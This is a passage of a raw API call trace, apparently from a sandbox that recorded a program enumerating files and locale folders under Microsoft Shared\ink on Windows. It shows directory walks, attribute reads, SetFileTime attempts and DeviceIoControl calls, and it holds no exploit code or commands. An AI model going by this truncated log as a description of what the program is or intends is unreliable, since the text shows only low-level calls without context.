Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0047.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0047.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0047.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0047.163] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.163] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0047.163] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.163] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e62a8 [0047.163] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e62a8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e62a8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e62a8) returned 1 [0047.164] NtClose (Handle=0x160) returned 0x0 [0047.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.164] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.164] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.164] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5798 [0047.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e21a8 [0047.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.164] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.164] GetLastError () returned 0x12 [0047.164] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.164] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.164] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.165] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.165] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.165] GetLastError () returned 0x12 [0047.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.165] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0047.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0047.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0047.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0047.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0047.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0047.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0047.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.165] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0047.165] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e62a8 [0047.166] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e62a8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e62a8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e62a8) returned 1 [0047.166] NtClose (Handle=0x16c) returned 0x0 [0047.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.166] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.166] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.166] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e57b8 [0047.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e23b8 [0047.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.166] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.166] GetLastError () returned 0x12 [0047.166] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.166] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.167] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.167] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.167] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.167] GetLastError () returned 0x12 [0047.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.167] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0047.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.167] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0047.167] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e62a8 [0047.167] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e62a8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e62a8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e62a8) returned 1 [0047.169] NtClose (Handle=0x160) returned 0x0 [0047.169] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.169] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.169] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.169] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.169] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.169] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.169] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.169] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.169] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.169] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.169] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.169] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.169] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.169] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.169] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e57d8 [0047.169] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e22b0 [0047.169] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.169] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, 